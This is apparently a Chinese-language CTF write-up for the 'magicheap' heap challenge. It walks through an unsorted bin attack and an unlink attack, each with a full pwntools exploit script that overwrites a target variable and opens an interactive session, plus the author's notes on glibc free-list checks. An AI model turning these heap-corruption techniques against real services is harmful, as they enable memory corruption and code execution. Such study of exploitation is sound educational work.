这是个unsortedbin的题,说实话,并没有完全搞清为什么在这里用不了unlink,为什么这里free了small chunk后,small chunk直接进了unsort bin,还要好好研究。
在这里先假定已经知道了free smallchunk后就直接进unsorted bin。。。
bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
在这道题中就是把magic的值给改大一点,我们把unsorted_chunks (av) 赋给它既满足要求。
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')
def DEBUG(instruction,chose):
if chose == 1:
pwnlib.gdb.attach(p,instruction)
else:
pwnlib.gdb.attach(p)
def add(size,content):
p.sendafter(':','1')
p.sendafter(': ',str(size))
p.sendafter(':',content)
def edit(index,size,content):
p.sendafter(':','2')
p.sendafter(':',str(index))
p.sendafter(': ',str(size))
p.sendafter(': ',content)
def delete(index):
p.sendafter(':','3')
p.sendafter(':',str(index))
def exit():
p.sendafter(':','4')
aim = 0x00000000006020E0
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
delete(1)
payload = 'a'*0x90+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#DEBUG(instruction,1)
add(0x90,'abcd')
p.sendafter(':','4869')
p.interactive()
经过对源码的进一步学习,原因是自己对unlink的理解还没到位,
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
之前对这个检查的理解是只要让fake chunk 的fd 和bk 分别满足fd+0x18 ==bk+0x10 就行,但事实是要使*(fd+0x18) = p ,
*(bk+0x10)=p。之前并没有掌握透彻unlink的知识点。还有纠正自己之前的一个误区,small chunk、large chunk被free时,并不会直接进small bin、large bin,而是进了unsorted bin。。。附上一份unlink
exp
from pwn import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')
def DEBUG(instruction,chose):
if chose == 1:
pwnlib.gdb.attach(p,instruction)
else:
pwnlib.gdb.attach(p)
def add(size,content):
p.sendafter(':','1')
p.sendafter(': ',str(size))
p.sendafter(':',content)
def edit(index,size,content):
p.sendafter(':','2')
p.sendafter(':',str(index))
p.sendafter(': ',str(size))
p.sendafter(': ',content)
def delete(index):
p.sendafter(':','3')
p.sendafter(':',str(index))
def exit():
p.sendafter(':','4')
aim = 0x00000000006020e0+0x8
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
edit(1,len(payload),payload)
delete(2)
DEBUG(instruction,1)
payload = 'a'*0x10+p64(magic)
edit(1,len(payload),payload)
edit(0,8,p64(0x2000))
p.sendafter(':','4869')
p.interactive()